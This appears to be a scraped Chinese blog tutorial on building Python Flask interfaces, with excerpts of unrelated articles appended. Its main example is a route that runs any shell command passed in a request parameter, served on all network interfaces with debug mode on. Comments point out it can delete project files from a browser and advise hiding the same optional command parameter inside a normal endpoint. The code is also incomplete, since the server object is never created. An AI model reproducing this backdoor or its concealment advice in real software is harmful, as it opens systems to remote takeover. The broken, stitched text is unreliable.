python寫介面的步驟 利用python寫介面

2021-10-11 00:12:08 字數 853 閱讀 3040

開發步驟:

1、例項化server

2、裝飾器下面的函式變為乙個介面

3、啟動服務

開發工具和流程:

python庫:flask =》例項化server:server = flask.flask(__name__) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:import os

import flask,json #引入flask框架

from flask_cors import cors

# r'/*' 是萬用字元,讓本伺服器所有的url 都允許跨域請求

cors(server, resources=r'/*')

@server.route('/error',methods=['get'])

def cmd():

cmd = flask.request.values.get('cmd') # 介面入參

res = os.popen(cmd) # 執行使用者命令

return res.read() # 返回執行結果

# -rf a.txt 後門介面可以直接通過瀏覽器刪除專案檔案

# 隱蔽一點的方法,把cmd = flask.request.values('cmd',none)寫入正常介面

# 預設可以不傳,一但傳了再res = os.popen(cmd)

server.run(port=8888,debug=true,host='0.0.0.0') # 啟動服務

# debug=true,改了**後,不用重啟,它會自動重啟

# 'host='0.0.0.0'別人可以通過ip訪問

python介面的定義

什麼是介面 介面只是定義了一些方法,而沒有去實現,多用於程式設計時,只是設計需要有什麼樣的功能,但是並沒有實現任何功能,這些功能需要被另乙個類 b 繼承後,由 類b去實現其中的某個功能或全部功能。個人的理解,多用於協作開發時,有不同的人在不同的類中實現介面中的各個方法。在python中介面由抽象類和...

用python寫乙個帶有gui介面的密碼生成器

需要用pspuf到的庫 from tkinter import import random,string import pyperclip root tk root.geometry 400x400 root.resizable 0,0 root.title 密碼生成器 heading label ...

利用locustio進行關聯介面的效能測試

locustio通常用來做單介面壓測,指令碼編寫成本低,併發度高。新版locustio對補充了關聯介面的測試場景,利用seq task可以較為快速的定義執行的先後順序,同時利用全域性的queue,實現引數的傳遞。本例模擬停車入場和出場的場景,按照業務邏輯,停車入場後生成乙個訂單號order id,出...